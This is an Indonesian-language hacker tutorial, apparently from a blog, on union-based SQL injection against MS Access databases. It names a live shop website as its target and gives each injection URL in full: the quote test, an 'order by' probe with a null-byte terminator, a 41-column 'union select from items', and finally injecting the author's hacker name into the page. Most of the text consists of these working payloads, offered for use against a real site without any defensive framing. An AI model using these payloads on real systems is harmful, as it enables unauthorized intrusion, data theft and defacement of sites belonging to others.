Tutorial SQL Ms Access

Tutorial SQL Ms Acces

Oleh Danz Haxor

Assalamualaikum Hallo gan balik lagi sama gua Oke disini gua bakalan ngasih Tutorial SQL MS Access.

Live Target :

https://www.nwoc.com/shop/item.asp?itemid=71

diatas adalah contoh target buat tutorial kali ini.

Seperti biasa, kita kasih tanda ( ' ) agar kita tau web tersebut vuln SQL

Nahh jika sudah ditambah tanda ( ' ) akan jadi seperti ituu, dan SQL tersebut ber tipe MS Access.

Jika sudah seperti itu, lanjut ke langkah berikut nya

dengan menambah kan order+by+1;%00

Seperti :

https://www.nwoc.com/shop/item.asp?itemid=714%27+order+by+1;%00

Jika halaman website masih sama, coba hapus tanda %27 atau ( ' ).

Dan website pun kembali seperti semula.

Disini tinggal cari aja column eror nya kek biasa. 

gausah w kasih tutor juga ye, kan dah pada jagoan:v

Column tersebut eror di 42

Jadi column Database nya hanya ada 41

Tinggal kalian tulis deh union+select+1 ~ 41;%00

Seperti :

https://www.nwoc.com/shop/item.asp?itemid=714+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41;%00

Loh kok malah Eror Bang?

nah kalau eror kita tambahin [ from+items ]

Seperti :

https://www.nwoc.com/shop/item.asp?itemid=714+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41+from+items;%00

Nahh seperti ituu.

Nah kan dah dapet tuh angka ajaib nyaa, tinggal print deh nama hemker lu

Seperti : 

https://www.nwoc.com/shop/item.asp?itemid=714+union+select+1,'Heked Bay Danz',3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41+from+items;%00

Nah oke segitu aja tutor dari gw semoga bermanfaat ya

#Happy Learn